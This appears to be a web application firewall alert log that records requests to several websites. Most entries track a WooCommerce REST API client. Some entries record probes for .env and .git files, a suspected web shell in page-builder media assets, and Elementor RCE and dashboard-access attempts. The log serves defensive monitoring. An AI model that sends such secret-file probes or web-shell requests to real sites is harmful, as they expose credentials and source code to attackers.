domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=5r6vkk2p&v=3z9e5&x=1/||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=c6ac7adq&v=ptmp1&x=1?||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/config?_=2xj0e5jr&v=lusnc||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/config?_=hw8u3viy&v=awtu8||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t12%3a10%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/config?_=bup1czi0&v=pxd4f||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/HEAD?_=tybnogcl&v=zvwev||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t12%3a15%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t12%3a20%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t12%3a30%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t12%3a35%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t12%3a45%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t12%3a55%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t13%3a00%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t13%3a05%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t13%3a15%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t14%3a00%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.251.121.187
country_id: 241170
domain: dubbs.trangotech.dev
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/zfsjibgy/fonts/oognqhsw.PHP||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t14%3a10%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t14%3a15%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t14%3a25%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t14%3a30%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t14%3a40%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t14%3a45%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 71.18.250.209
country_id: 6252001
domain: fendahl.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/145.0.0.0 Safari/537.36||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t15%3a15%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 146.70.241.122
country_id: 290557
domain: warego.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.30||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: modsec
rule: 77350027
name: IM360 WAF: RCE Vulnerability in Elementor WordPress Plugin (CVE-2022-1329)
abuser: 146.70.241.122
country_id: 290557
domain: warego.trangotech.dev
description:
IM360 WAF: RCE Vulnerability in Elementor WordPress Plugin (CVE-2022-1329)||WPU:syed.asad||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t15%3a30%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t15%3a35%3a05%2b00%3a00||RSV:8.30||T:APACHE||


